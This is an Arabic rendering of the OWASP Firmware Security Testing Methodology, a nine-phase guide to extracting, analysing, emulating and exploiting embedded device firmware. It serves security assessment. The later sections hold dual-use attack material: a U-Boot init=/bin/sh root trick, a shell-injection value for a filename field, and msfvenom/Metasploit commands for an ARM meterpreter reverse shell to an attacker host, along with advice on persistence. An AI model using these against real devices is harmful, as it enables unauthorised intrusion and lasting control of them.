| وصف |
|---|
يتكون FSTM من تسع مراحل مصممة خصيصًا لتمكين الباحثين الأمنيين ومطوري البرامج والهواة ومحترفي أمن المعلومات من إجراء تقييمات أمان البرامج الثابتة. |

سواء كانت متصلة بالشبكة أو مستقلة، فإن البرامج الثابتة هي مركز التحكم في أي جهاز مضمن. على هذا النحو، من المهم أن نفهم كيف يمكن التلاعب بالبرامج الثابتة لأداء وظائف غير مصرح بها وربما عرقلة أمان النظام البيئي الداعم. للبدء في إجراء اختبار الأمان والهندسة العكسية للبرامج الثابتة، استخدم المنهجية التالية كدليل عند الشروع في التقييم القادم. تتكون المنهجية من تسع مراحل مصممة خصيصًا لتمكين الباحثين الأمنيين ومطوري البرامج والاستشاريين والهواة ومحترفي أمن المعلومات من إجراء تقييمات أمان البرامج الثابتة.
| منصة | وصف |
|---|---|
| 1. جمع المعلومات والاستطلاع | احصل على جميع التفاصيل الفنية والوثائقية المتعلقة بالبرامج الثابتة للجهاز المستهدف |
| 2. الحصول على البرامج الثابتة | احصل على البرامج الثابتة باستخدام واحدة أو أكثر من الطرق المقترحة المذكورة |
| 3. تحليل البرامج الثابتة | افحص خصائص البرنامج الثابت المستهدف |
| 4. استخراج نظام الملفات | اقتطاع محتويات نظام الملفات من البرامج الثابتة المستهدفة |
| 5. تحليل محتويات نظام الملفات | التحليل الثابت لملفات تكوين نظام الملفات المستخرجة والثنائيات بحثًا عن نقاط الضعف |
| 6. محاكاة البرامج الثابتة | محاكاة ملفات البرامج الثابتة ومكوناتها |
| 7. التحليل الديناميكي | إجراء اختبار الأمان الديناميكي على واجهات البرامج الثابتة والتطبيقات |
| 8. تحليل وقت التشغيل | تحليل الثنائيات المترجمة أثناء وقت تشغيل الجهاز |
| 9. الاستغلال الثنائي | استغلال الثغرات الأمنية التي تم تحديدها والتي تم اكتشافها في المراحل السابقة لتحقيق الجذر و/أو تنفيذ التعليمات البرمجية |
ستوضح الأقسام التالية كل مرحلة بمزيد من التفاصيل مع الأمثلة الداعمة حيثما أمكن ذلك. فكر في زيارة صفحة مشروع إنترنت الأشياء OWASP ومستودع GitHub للحصول على آخر تحديثات المنهجية وإصدارات المشروع القادمة.
يمكن تنزيل جهاز Ubuntu الظاهري (EmbedOS) الذي تم تكوينه مسبقًا مع أدوات اختبار البرامج الثابتة المستخدمة في هذا المستند عبر الرابط التالي. يمكن العثور على التفاصيل المتعلقة بأدوات EmbedOS على GitHub ضمن المستودع التالي https://github.com/scriptingxss/EmbedOS.
خلال هذه المرحلة، قم بجمع أكبر قدر ممكن من المعلومات حول الهدف لفهم تركيبته الشاملة التي تقوم عليها التكنولوجيا. حاول جمع ما يلي:
يجب جمع المعلومات المذكورة أعلاه قبل العمل الميداني لاختبار الأمان عبر استبيان أو نموذج قبول. تأكد من الاستفادة من فرق تطوير خط الإنتاج الداخلي للحصول على بيانات دقيقة ومحدثة. فهم ضوابط الأمان المطبقة بالإضافة إلى عناصر خريطة الطريق والمشكلات الأمنية المعروفة والمخاطر الأكثر إثارة للقلق. إذا لزم الأمر، قم بجدولة متابعة التعمق في الميزات المحددة المعنية. تكون التقييمات أكثر نجاحًا في بيئة تعاونية.
حيثما أمكن، احصل على البيانات باستخدام أدوات وتقنيات الاستخبارات مفتوحة المصدر (OSINT). إذا تم استخدام برنامج مفتوح المصدر، فقم بتنزيل المستودع وإجراء التحليل الثابت اليدوي والآلي مقابل قاعدة التعليمات البرمجية. في بعض الأحيان، تستخدم مشاريع البرامج مفتوحة المصدر بالفعل أدوات التحليل الثابتة المجانية التي يوفرها البائعون الذين يقدمون نتائج المسح مثل Coverity Scan وSemmle's LGTM. على سبيل المثال، تعرض لقطات الشاشة أدناه مقتطفات من نتائج Coverity Scan الخاصة بـ Das U-Boot.

الشكل : فحص تغطية U-Boot

الشكل : تحليل مسح تغطية U-Boot
فيما يلي لقطات شاشة لنتائج Dropbear من تحليل LGTM.

الشكل : تنبيهات LGTM Dropbear

الشكل : نتائج LGTM Dropbear
باستخدام المعلومات المتوفرة، يجب إجراء تمرين نموذج التهديد الخفيف لرسم خرائط لأسطح الهجوم ومناطق التأثير التي تظهر القيمة الأكبر في حالة حدوث اختراق.
لبدء مراجعة محتويات البرنامج الثابت، يجب الحصول على ملف صورة البرنامج الثابت. حاول الحصول على محتويات البرنامج الثابت باستخدام واحدة أو أكثر من الطرق التالية:
*ملاحظة: تأكد من اتباع القوانين واللوائح المحلية عند تنزيل البيانات من خدمات التخزين السحابية المكشوفة.
تختلف كل طريقة من الطرق المدرجة في الصعوبة ولا ينبغي اعتبارها قائمة شاملة. اختيار الطريقة المناسبة وفقًا لأهداف المشروع وقواعد المشاركة. إذا كان ذلك ممكنًا، فاطلب إنشاء تصحيح الأخطاء وإصدار إصدار البرنامج الثابت لتحقيق أقصى قدر من حالات استخدام تغطية الاختبار في حالة تجميع كود تصحيح الأخطاء أو الوظيفة داخل الإصدار.
بمجرد الحصول على صورة البرنامج الثابت، استكشف جوانب الملف للتعرف على خصائصه. استخدم الخطوات التالية لتحليل أنواع ملفات البرامج الثابتة، وبيانات تعريف نظام الملفات الجذر المحتملة، واكتساب فهم إضافي للنظام الأساسي الذي تم تجميعها من أجله.
الاستفادة من المرافق مثل:
file <bin>
strings
strings -n5 <bin>
strings -n16 <bin>#longer than 16
strings -tx <bin> #print offsets in hex
binwalk <bin>
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
إذا لم توفر أي من الطرق المذكورة أعلاه أي بيانات مفيدة، فمن الممكن القيام بما يلي:
إذا كان الملف الثنائي مشفرًا، فتحقق من الإنتروبيا باستخدام binwalk باستخدام الأمر التالي:
$ binwalk -E <bin>
إنتروبيا منخفضة = من غير المحتمل أن يتم تشفيرها
إنتروبيا عالية = من المحتمل أن تكون مشفرة (أو مضغوطة بطريقة ما).
الأدوات البديلة متاحة أيضًا باستخدام Binvis عبر الإنترنت والتطبيق المستقل.
تتضمن هذه المرحلة البحث داخل البرامج الثابتة وتحليل بيانات نظام الملفات النسبية للبدء في تحديد أكبر عدد ممكن من المشكلات الأمنية المحتملة. استخدم الخطوات التالية لاستخراج محتويات البرامج الثابتة لمراجعة التعليمات البرمجية غير المترجمة وتكوينات الجهاز المستخدمة في المراحل التالية. يتم عرض كل من طرق الاستخراج الآلية واليدوية أدناه.
$ binwalk -ev <bin>
سيتم استخراج الملفات إلى " _binaryname/filesystemtype/ "
أنواع أنظمة الملفات: squashfs، ubifs، romfs، rootfs، jffs2، yaffs2، cramfs، initramfs
2 أ. في بعض الأحيان، لن يحتوي binwalk على البايت السحري لنظام الملفات في توقيعه. في هذه الحالات، استخدم binwalk للعثور على إزاحة نظام الملفات واقتطاع نظام الملفات المضغوطة من الملف الثنائي واستخراج نظام الملفات يدويًا وفقًا لنوعه باستخدام الخطوات أدناه.
$ binwalk DIR850L_REVB.bin
DECIMAL HEXADECIMAL DESCRIPTION
----------------------------------------------------------------------------- ---
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
2ب. قم بتشغيل الأمر dd التالي لنحت نظام ملفات Squashfs.
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536+0 records in
8257536+0 records out
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
وبدلاً من ذلك، يمكن أيضًا تشغيل الأمر التالي.
$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs
2 ج. بالنسبة للاسكواش (المستخدمة في المثال أعلاه)
$ unsquashfs dir.squashfs
ستكون الملفات في دليل " squashfs-root " بعد ذلك.
2د. ملفات أرشيف CPIO
$ cpio -ivd --no-absolute-filenames -F <bin>
2و. لأنظمة الملفات jffs2
$ jefferson rootfsfile.jffs2
2د. لأنظمة ملفات ubifs مع NAND flash
$ ubireader_extract_images -u UBI -s <start_offset> <bin>
$ ubidump.py <bin>
خلال هذه المرحلة، يتم جمع الأدلة لمراحل التحليل الديناميكي ووقت التشغيل. تحقق مما إذا كانت البرامج الثابتة المستهدفة تحتوي على ما يلي (غير شامل):
قم بتحليل محتويات نظام الملفات والتعليمات البرمجية غير المترجمة يدويًا بشكل ثابت أو الاستفادة من أدوات التشغيل الآلي مثل Firmwalker التي تحلل ما يلي:
تقدم الأقسام الفرعية التالية أدوات تحليل البرامج الثابتة الآلية مفتوحة المصدر.
قم بتنفيذ Firmwalker داخل الدليل الخاص به في ~/tools/firmwalker وقم بتوجيه Firmwalker إلى المسار المطلق للدليل الجذر لنظام الملفات المستخرج. يستخدم Firmwalker المعلومات الموجودة في الدليل "/data/" لتحليل القواعد. يمكن العثور على شوكة مخصصة تم تعديلها بواسطة Aaron Guzman مع فحوصات إضافية على GitHub على https://github.com/scriptingxss/firmwalker. توضح الأمثلة التالية استخدام تم إدراج برنامج Firmwalker المستخدم في IoTGoat الخاص بـ OWASP في قسم البرامج الثابتة الضعيفة في نهاية المستند.
$ ./firmwalker.sh /home/embedos/firmware/ _IoTGoat-rpi-2.img.extracted/squashfs-root/
انظر إخراج Firmwalker أدناه.

سيتم إنشاء ملفين، Firmwalker.txt وfirmwalkerappsec.txt. يجب مراجعة ملفات الإخراج هذه يدويًا.
ولحسن الحظ، تتوفر العديد من أدوات تحليل البرامج الثابتة الآلية مفتوحة المصدر. تتضمن ميزات FACT ما يلي:
تحديد مكونات البرامج مثل نظام التشغيل وبنية وحدة المعالجة المركزية ومكونات الطرف الثالث بالإضافة إلى معلومات الإصدار المرتبطة بها
استخراج نظام (أنظمة) ملفات البرامج الثابتة من الصور
الكشف عن الشهادات والمفاتيح الخاصة
الكشف عن تعيين التطبيقات الضعيفة لتعداد نقاط الضعف الشائعة (CWE)
الكشف عن الثغرات الأمنية بناءً على الخلاصة والتوقيع
التحليل السلوكي الثابت الأساسي
مقارنة (فرق) إصدارات البرامج الثابتة وملفاتها
محاكاة وضع المستخدم لثنائيات نظام الملفات باستخدام QEMU
الكشف عن عمليات التخفيف الثنائية مثل NX وDEP وASLR وجزر الكناري المكدس وRELRO وFORTIFY_SOURCE
واجهة برمجة تطبيقات REST
وأكثر...
فيما يلي تعليمات لاستخدام مجموعة أدوات مقارنة تحليل البرامج الثابتة داخل الجهاز الظاهري المصاحب الذي تم تكوينه مسبقًا.
نصيحة: يوصى بتشغيل FACT على جهاز كمبيوتر يحتوي على 16 مركزًا وذاكرة وصول عشوائي (RAM) سعة 64 جيجابايت، على الرغم من إمكانية تشغيل الأداة بحد أدنى 4 مراكز وذاكرة وصول عشوائي (RAM) سعة 8 جيجابايت بوتيرة أبطأ بكثير. تختلف نتائج مخرجات المسح وفقًا للموارد المخصصة للجهاز الظاهري. كلما زادت الموارد، زادت سرعة إكمال FACT لعمليات إرسال المسح.
$ cd ~/tools/FACT_core/
$ sudo ./start_all_installed_fact_components
انتقل إلى http://127.0.0.1:5000 في المتصفح

الشكل : لوحة معلومات FACT
قم بتحميل مكونات البرامج الثابتة إلى FACT لتحليلها. في لقطة الشاشة أدناه، سيتم تحميل البرنامج الثابت الكامل المضغوط مع نظام الملفات الجذر الخاص به وتحليله.

الشكل : تحميل FACT
اعتمادًا على موارد الأجهزة المتوفرة لـ FACT، ستظهر نتائج التحليل مع نتائج المسح الخاصة بها في وقت معين. يمكن أن تستغرق هذه العملية ساعات إذا تم تخصيص الحد الأدنى من الموارد.

الشكل : حقيقة IoTGat

الشكل : نتائج التخفيف من استغلال IoTGoat
قم بتفكيك الثنائيات المستهدفة المشتبه بها باستخدام البيانات التي تم جمعها من FACT باستخدام IDA Pro أو Ghidra أو Hopper أو Capstone أو Binary Ninja. تحليل الثنائيات لاستدعاءات نظام تنفيذ التعليمات البرمجية عن بعد المحتملة، والسلاسل، وقوائم الوظائف، ونقاط الضعف في تلف الذاكرة، وتحديد Xrefs إلى system() أو استدعاءات الوظائف المماثلة. لاحظ نقاط الضعف المحتملة لاستخدامها في الخطوات القادمة.
تُظهر لقطة الشاشة التالية ثنائي "shellback" الذي تم تفكيكه باستخدام Ghidra.

الشكل : تحليل Shellback Ghidra
يتكون التحليل الثنائي الشائع من مراجعة ما يلي:
$ readelf -aW bin/*| grep stack_chk_fail$ mips-buildroot-linux-uclibc-objdump -d bin/binary | grep stack_chk_fail$ readelf -h <bin> | grep -q 'Type:[[:space:]]*EXEC'$ readelf -h <bin> | grep 'Type:[[:space:]]*DYN'$ readelf -d <bin> | grep -q 'DEBUG'$ readelf --syms <bin>$ nm <bin>-el يحدد الأحرف ذات النهاية الصغيرة بعرض 16 بت (مثل UTF-16).-eb للنهاية الكبيرة-t إزاحة السلسلة داخل الملف.-tx بتنسيق سداسي عشري، وT-to بالتنسيق الثماني و- -td بالنظام العشري.strings -n5 <bin>strings -el <bin>strings -n16 <bin>strings -tx <bin>$ readelf -lW bin/<bin>| grep STACK GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
يشير الحرف "E" إلى أن المكدس قابل للتنفيذ.
$ execstack bin/*
X bin/ash
X bin/busybox
$ readelf -d binary | grep BIND_NOW$ readelf -d binary | grep GNU_RELROالبرنامج النصي الذي يقوم بأتمتة التحقق من العديد من الخصائص الثنائية المذكورة أعلاه هو checksec.sh. فيما يلي مثالان لاستخدام البرنامج النصي.
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback

الشكل : Checksec.sh
بالنسبة لثنائيات Microsoft (EXE وDLL)، استخدم PESecurity للتحقق من ASLR وDEP وSafeSEH وStrongNaming وAuthenticode وControl Flow Guard وHighEntropyVA.
تم تصميم برنامج EMBA كأداة أساسية لتحليل البرامج الثابتة لمختبري الاختراق. وهو يدعم عملية التحليل الأمني الكاملة، بدءًا من استخراج البرامج الثابتة والتحليل الثابت والتحليل الديناميكي عبر المحاكاة لإنشاء تقرير على شبكة الإنترنت لمزيد من التحليل. يتم إطلاق برنامج EMBA بأمر واحد، ويكتشف تلقائيًا نقاط الضعف ونقاط الضعف المحتملة في البرامج الثابتة قيد الاختبار، مثل الثنائيات غير الآمنة، ومكونات البرامج القديمة والقديمة، والنصوص البرمجية التي يحتمل أن تكون عرضة للخطر أو كلمات المرور المشفرة.
تتضمن ميزات EMBA ما يلي:
يستخدم EMBA أدوات أخرى متعددة في الخلفية. تعتمد موارد النظام المطلوبة كثيرًا على البرامج الثابتة التي ستقوم بتحليلها. عادةً ما يعمل برنامج EMBA بسلاسة تامة في البيئة التالية:
لتثبيت البيئة الضرورية، عليك تشغيل البرنامج النصي للتثبيت مع أذونات الجذر:
sudo ./installer.sh -d يجب عليك استخدام رمز التبديل -d مع المثبت لتشغيل التثبيت النموذجي. سيؤدي هذا إلى تثبيت التبعيات المطلوبة (مثل بحث cve) على المضيف وسيقوم بتنزيل صورة عامل الإرساء EMBA . نوصي باستخدام هذا للتثبيت الأولي.
بعد الانتهاء من عملية التثبيت، من الممكن استخدام برنامج EMBA لتحليل أمان البرامج الثابتة من سطر الأوامر. قبل البدء في برنامج EMBA، يرجى تنزيل برنامج ثابت للاختبار مثل البرنامج الثابت OWASP IoTGoat. يوضح الأمر التالي أمر EMBA النموذجي:
sudo ./emba.sh -f ~ /IoTGoat-x86.img.gz -l ~ /emba_logs_iotgoat -p ./scan-profiles/default-scan.embaيقوم الأمر الموضح بتكوين الخيارات الأساسية التالية:
تتوفر خيارات أخرى ويمكن الاطلاع عليها عبر ./emba.sh -h
الخطوة الأولى في كل اختبار للبرنامج الثابت هي التحقق من صحة التثبيت الحالي:

بعد نجاح الفحص الصحي، تبدأ عملية التحليل بتحديد واستخراج البرامج الثابتة التي تم تكوينها:

أثناء اختبار البرنامج الثابت، يتم عرض كافة النتائج والحالة الحالية مباشرة في الجهاز. نظرًا لأن الفحص النموذجي سيتم تشغيله في الوضع المترابط ( المعلمة -t ) ، فسيكون هذا الإخراج مشوهًا ولن يكون من السهل قراءته. لمزيد من التحليل، يوصى باستخدام ملفات السجل النصية التي تم إنشاؤها في دليل السجل وتقرير الويب ( المعلمة -W ). بعد الانتهاء من فحص البرامج الثابتة، يعرض برنامج EMBA ملخصًا للنتائج في الجهاز:

تتوفر المزيد من النتائج في دليل السجل ويمكن تحليلها في سطر الأوامر أو عبر متصفح الويب:
firefox ~ /emba_logs_iotgoat/html-report/index.html
تقرير HTML الذي تم إنشاؤه مستقل بذاته ويمكن مشاركته بسهولة. علاوة على ذلك، فإن هذا التقرير تفاعلي بالكامل ويمكن الوصول إلى جميع تفاصيل الاختبار من خلال لوحة معلومات الملخص المجمعة.
تتوفر المزيد من التفاصيل على مستودع EMBA git الرسمي.
EMBArk هي واجهة مؤسسية قائمة على الويب لأداة فحص أمان البرامج الثابتة EMBA . تم تطويره لتوفير محلل أمان البرامج الثابتة EMBA كخدمة في حاويات ولتسهيل الوصول إلى الواجهة الخلفية لمسح البرامج الثابتة EMBA بغض النظر عن النظام ونظام التشغيل.
علاوة على ذلك، يعمل برنامج EMBArk على تحسين توفير البيانات من خلال تجميع نتائج المسح المختلفة في لوحة معلومات الإدارة المجمعة.

في صفحة تفاصيل جميع عمليات الفحص، يمكنك الوصول إلى التقرير التفصيلي لفحص البرامج الثابتة، وبدء المزيد من الاختبارات وتنزيل سجلات الفحص:

تتوفر المزيد من التفاصيل مع النتائج الرئيسية لكل اختبار للبرنامج الثابت في التقرير التفصيلي:

يتوفر المزيد من المعلومات على مستودع EMBArk git الرسمي.
ملاحظة: EMBArk في مرحلة تطوير مبكرة جدًا.
باستخدام التفاصيل والأدلة المحددة في الخطوات السابقة، يجب محاكاة البرامج الثابتة بالإضافة إلى الثنائيات المغلفة للتحقق من نقاط الضعف المحتملة. لإنجاز محاكاة البرامج الثابتة، هناك بعض الطرق المذكورة أدناه.
/usr/bin/shellbackلبدء محاكاة الثنائيات جزئيًا، يجب أن تكون بنية وحدة المعالجة المركزية (CPU) ووحدة endianness معروفة لتحديد ثنائي محاكاة QEMU المناسب في الخطوات التالية.
$ binwalk -Y <bin>
$ readelf -h <bin>
إل - إنديان الصغير
إب - إنديان كبير
يمكن استخدام Binwalk لتحديد endianness لثنائيات البرامج الثابتة المجمعة (وليس من الثنائيات داخل البرامج الثابتة المستخرجة) باستخدام الأمر أدناه.
$ binwalk -Y UPG_ipc8120p-w7-M20-hi3516c-20160328_165229.ov
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
3480 0xD98 ARM executable code, 32-bit, little endian, at least 1154 valid instructions
بعد التعرف على بنية وحدة المعالجة المركزية وendianness، حدد موقع QEMU الثنائي المناسب لإجراء محاكاة جزئية (ليس لمحاكاة البرامج الثابتة الكاملة، ولكن الثنائيات مع البرامج الثابتة المستخرجة.)
عادة، في:
/usr/local/qemu-arch أو /usr/bin/qemu-arch
انسخ ملف QEMU الثنائي القابل للتطبيق إلى نظام الملفات الجذر المستخرج. يعرض الأمر الثاني نسخ الذراع الثابت QEMU الثنائي إلى نظام الملفات الجذر المستخرج داخل غلاف ZSH يوضح المسار المطلق.
> cp /usr/local/qemu-arch /extractedrootFS/
/home/embedos/firmware/_DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted.extracted/squashfs-root
> cp /usr/bin/qemu-arm-static .
قم بتنفيذ ثنائي ARM (أو القوس المناسب) لمحاكاة استخدام QEMU وإجراء عملية الجذر باستخدام الأمر التالي:
$ sudo chroot . ./qemu-arch <binarytoemulate>
يوضح المثال التالي محاكاة Busybox ضمن بنية x64 النموذجية التي من المحتمل أن يستخدمها جهاز مهاجم.
> sudo chroot . ./qemu-arm-static bin/busybox ls
[sudo] password for embedos:
bin etc overlay rom sys var
dev lib proc root tmp www
dnsmasq_setup.sh mnt qemu-arm-static sbin usr
فيما يلي مثال لمحاكاة خدمة تستمع على المنفذ 5515.
> sudo chroot . ./qemu-arm-static usr/bin/shellback
أيضًا، يمكن محاكاة نفس الخدمة باستخدام إطار عمل تشيلينغ.
> ./qltool run --console False -f ~/_IoTGoat-x86.img.extracted/squashfs-root/usr/bin/shellback --rootfs ~/_IoTGoat-x86.img.extracted/squashfs-root
في محطة أخرى، تحقق مما إذا كانت الخدمة تستمع محليًا وحاول الاتصال بها باستخدام netcat.
> sudo lsof -i :5515
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
qemu-arm- 13264 root 3u IPv4 662221 0t0 TCP *:5515 (LISTEN)
> nc -nv 127.0.0.1 5515
Connection to 127.0.0.1 5515 port [tcp/*] succeeded!
[***]Successfully Connected to IoTGoat's Backdoor[***]
في بعض الأحيان، يتم إرسال الطلبات إلى ملف CGI الثنائي بواسطة خادم HTTP. من خلال محاكاة ثنائي CGI ببساطة، من الممكن تحليل إجراء العملية أو التحقق من الثغرة الأمنية دون إعداد خادم HTTP. يصدر المثال التالي طلب GET إلى ثنائي MIPS CGI.
~/DIR850L/squashfs-root/htdocs/web$ ls -l captcha.cgi
lrwxrwxrwx 1 root root 14 Oct 17 2017 captcha.cgi -> /htdocs/cgibin
# fix the broken symbolic link
~/DIR850L/squashfs-root/htdocs/web$ rm captcha.cgi && ln -s ../cgibin captcha.cgi
~/DIR850L/squashfs-root$ sudo chroot . ./qemu-mips-static -E REQUEST_METHOD="GET" -E REQUEST_URI="/captcha.cgi" -E REMOTE_ADDR="192.168.1.1" -E CONTENT_TYPE="text/html" /htdocs/web/captcha.cgi
HTTP/1.1 200 OK
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?><captcha>
<result>FAIL</result><message>NO SESSION</message>
</captcha>
مع محاكاة الثنائي الهدف، تفاعل مع المترجم أو خدمة الاستماع الخاصة به. قم بدمج واجهات التطبيق والشبكة كما هو مذكور في المرحلة التالية.
عندما يكون ذلك ممكنًا، استخدم أدوات التشغيل الآلي مثل Firmadyne أو مجموعة أدوات تحليل البرامج الثابتة أو ARM-X Firmware Emulation Framework لإجراء محاكاة كاملة للبرامج الثابتة. هذه الأدوات هي في الأساس أغلفة لـ QEMU والوظائف البيئية الأخرى مثل nvram.
باستخدام مجموعة أدوات تحليل البرامج الثابتة، ما عليك سوى تنفيذ الأمر التالي:
sudo python3 ./fat.py IoTGoat-rpi-2.img --qemu 2.5.0
__ _
/ _| | |
| |_ __ _ | |_
| _| / _` | | __|
| | | (_| | | |_
|_| __,_| __|
Welcome to the Firmware Analysis Toolkit - v0.3
Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
By Attify - https://attify.com | @attifyme
[+] Firmware: IoTGoat-rpi-2.img
[+] Extracting the firmware...
[+] Image ID: 1
[+] Identifying architecture...
[+] Architecture: armel
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: [('eth0', '192.168.1.1')]
[...]
Adding route to 192.168.1.1...
Starting firmware emulation... use Ctrl-a + x to exit
[ 0.000000] Booting Linux on physical CPU 0x0
[ 0.000000] Linux version 4.1.17+ (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:05:21 UTC 2016
[ 0.000000] CPU: ARMv7 Processor [412fc0f1] revision 1 (ARMv7), cr=10c5387d
[ 0.000000] CPU: PIPT / VIPT nonaliasing data cache, PIPT instruction cache
BusyBox v1.28.4 () built-in shell (ash)
.--,\__
██████╗ ██╗ ██╗ █████╗ ███████╗██████╗ `-. a`-.__
██╔═══██╗██║ ██║██╔══██╗██╔════╝██╔══██╗ | ')
██║ ██║██║ █╗ ██║███████║███████╗██████╔╝ / _.-'-,`;
██║ ██║██║███╗██║██╔══██║╚════██║██╔═══╝ / | { /
╚██████╔╝╚███╔███╔╝██║ ██║███████║██║ / | { /
╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚═╝ ..-"``~"-' ; )
╦┌─┐╔╦╗╔═╗┌─┐┌─┐┌┬┐ ;' `
║│ │ ║ ║ ╦│ │├─┤ │ ;' `
╩└─┘ ╩ ╚═╝└─┘┴ ┴ ┴ ;' `
------------------------------------------------------------ ;'
GitHub: https://github.com/OWASP/IoTGoat
------------------------------------------------------------
root@IoTGoat:/#
ملاحظة: قد تكون هناك حاجة لإجراء تعديلات على هذه الأدوات إذا كان البرنامج الثابت يحتوي على ضغط غير شائع أو نظام ملفات أو بنية غير مدعومة.
في هذه المرحلة، قم بإجراء اختبار ديناميكي أثناء تشغيل الجهاز في بيئته العادية أو التي تمت مضاهاتها. قد تختلف الأهداف في هذه المرحلة اعتمادًا على المشروع ومستوى الوصول المحدد. عادةً ما يتضمن ذلك التلاعب بتكوينات أداة تحميل التشغيل، واختبار الويب وواجهة برمجة التطبيقات (API)، والتشويش (خدمات الشبكة والتطبيقات)، بالإضافة إلى المسح النشط باستخدام مجموعات أدوات متنوعة للحصول على وصول مرتفع (الجذر) و/أو تنفيذ التعليمات البرمجية.
الأدوات التي قد تكون مفيدة هي (غير شاملة):
منهجيات الويب القياسية الصناعية المرجعية مثل دليل اختبار OWASP ومعيار التحقق من أمان التطبيق (ASVS).
فيما يلي المجالات المحددة التي يجب مراجعتها داخل تطبيق الويب الخاص بالجهاز المضمن:
اعتمادًا على المنتج وواجهات التطبيق الخاصة به، ستختلف حالات الاختبار.
عند تعديل بدء تشغيل الجهاز وأدوات تحميل التشغيل مثل U-boot، حاول القيام بما يلي:
init=/bin/sh ' في نهاية وسيطات التمهيد#printenv#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 int=/bin/sh#saveenv#boot#setenv ipaddr 192.168.2.2 #local IP of the device#setenv serverip 192.168.2.1 #tftp server IP#saveenv#reset#ping 192.168.2.1 #check if network access is available#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes two arguments: the address to load the file into and the filename of the image on the TFTP serverubootwrite.py لكتابة صورة uboot ودفع البرنامج الثابت المعدل للحصول على الجذرFILENAME ' باستخدام أوامر إدخال الأوامر مثل 'a";/bin/sh;#' لاختبار التحقق من صحة الإدخال لإجراءات بدء تشغيل الجهاز.* اختبار أمن الأجهزة
محاولة تحميل برامج ثابتة مخصصة و/أو ثنائيات مجمعة للتأكد من سلامة التوقيع أو عيوب التحقق منه. على سبيل المثال، قم بتجميع غلاف ربط خلفي يبدأ عند التمهيد باستخدام الخطوات التالية.
إذا تم بالفعل الحصول على غلاف الجذر من التحليل الديناميكي، أو معالجة أداة تحميل التشغيل، أو وسائل اختبار أمان الأجهزة، فحاول تنفيذ ثنائيات ضارة مجمعة مسبقًا مثل عمليات الزرع أو الأصداف العكسية. فكر في استخدام أدوات الحمولة/الزرع الآلية المستخدمة في أطر عمل القيادة والتحكم (C&C). على سبيل المثال، يمكن الاستفادة من إطار عمل Metasploit و'msfvenom' باستخدام الخطوات التالية.
msfvenom لتحديد الحمولة المستهدفة المناسبة (-p)، وعنوان IP للمضيف المهاجم (LHOST=)، ورقم منفذ الاستماع (LPORT=)، ونوع الملف (-f)، والهندسة المعمارية (--arch)، والنظام الأساسي (--platform linux أو windows) وملف الإخراج (-o). على سبيل المثال، msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linuxset payload linux/armle/meterpreter_reverse_tcpset LHOST 192.168.1.245 #attacker host IPset LPORT 445 #can be any unused portset ExitOnSession falseexploit -j -zإذا أمكن، حدد ثغرة أمنية داخل البرامج النصية لبدء التشغيل للحصول على وصول مستمر إلى الجهاز عبر عمليات إعادة التشغيل. تنشأ مثل هذه الثغرات الأمنية عندما تشير البرامج النصية لبدء التشغيل، أو ترتبط بشكل رمزي، أو تعتمد على تعليمات برمجية موجودة في مواقع مثبتة غير موثوقة مثل بطاقات SD، ووحدات تخزين الفلاش المستخدمة لتخزين البيانات خارج أنظمة الملفات الجذر.
يتضمن تحليل وقت التشغيل الارتباط بعملية قيد التشغيل أو عملية ثنائية أثناء تشغيل الجهاز في بيئته العادية أو التي تمت محاكاتها. يتم توفير الخطوات الأساسية لتحليل وقت التشغيل أدناه:
sudo chroot . ./qemu-arch -L <optionalLibPath> -g <gdb_port> <binary>الأدوات التي قد تكون مفيدة هي (غير شاملة):
